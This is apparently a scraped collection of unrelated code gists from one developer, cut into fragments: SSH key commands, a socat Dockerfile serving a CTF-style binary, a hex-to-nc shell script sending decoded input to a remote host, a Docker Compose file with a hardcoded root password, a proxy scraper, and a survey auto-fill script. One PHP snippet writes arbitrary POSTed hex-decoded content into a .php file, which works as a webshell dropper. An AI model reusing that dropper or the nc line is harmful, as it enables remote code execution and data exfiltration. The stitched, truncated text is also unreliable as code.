- Create a SSH key
ssh-keygen -t rsa -C "your_email@example.com"
# this is also okay
ssh-keygen -t rsa -b 4096 -C "your_email@example.com"
# maybe this (up to your preference)
ssh-keygen -t ed25519 -C "your_email@example.com"| FROM busybox | |
| COPY ./socat /bin/socat | |
| COPY ./hello /bin/helloworld | |
| WORKDIR / | |
| RUN ["/bin/rm", "/bin/sh"] | |
| ENTRYPOINT ["/bin/socat", "TCP-LISTEN:1337,fork,reuseaddr,bind=0.0.0.0", "EXEC:'/bin/helloworld'"] |
| cat /proc/sys/kernel/random/uuid | tr -d '-' |
| #!/bin/bash | |
| hexString=$1 | |
| echo | |
| echo | |
| echo -n "$1" | xxd -r -p | |
| echo | |
| echo | |
| echo -n "$hexString" | xxd -r -p | nc xx.xx.xx.xx yyyy |
This guide will be made text-only, I don't have any intention converting this into a video.
Warning
In order for any of these below methods to work, you MUST run your Jenkins instance on Linux.
You are doing a project with your partners, however, the official guide to Jenkins by HUST only supports public repository. How can I hide my code from other friends, who are trying to take some ideas from my code (they may copy my code LMAO)?
| #!/bin/sh | |
| sudo docker pull ubuntu && sudo docker run -it --name ubuntucont $(sudo docker images ubuntu -q) /bin/sh |
## PHP Upload a file Using base64-encoded content
base64_decodemakes lengthy base64-blob to fail and corrupt the whole file.
<?php isset($_POST['a']) && ($decoded_string = hex2bin($_POST['a'])) !== false && ($file_path = './' . 'hzhz' . '.php') && ($file = fopen($file_path, 'w')) && (fwrite($file, $decoded_string) !== false) ? fclose($file) && print('File created successfully: ' . basename($file_path)) : print('Error: Unable to decode hex string or create file.'); ?>| version: '3.7' | |
| services: | |
| mysql_db_container: | |
| image: mysql:latest | |
| environment: | |
| MYSQL_ROOT_PASSWORD: rootpassword | |
| ports: | |
| - 33069:3306 | |
| adminer_container: | |
| image: adminer:latest |
| #!/bin/bash | |
| curl "https://api.proxyscrape.com/v3/free-proxy-list/get?request=displayproxies&country=vn&proxy_format=protocolipport&format=text&timeout=20000" -s | sed -E 's#^(http|socks4|https|socks5)://##' | cut -d':' -f1 |
| // How to use | |
| // Open DevTools | |
| // Paste this code | |
| // The website will automatically redirect, wait until page loads, paste | |
| // Keep doing until there is no more feedback form | |
| // TODO: Auto redirect and run until detect finish msg | |
| // Script V1: Mass choosing, result can be conflict | |
| function runSurvey() { |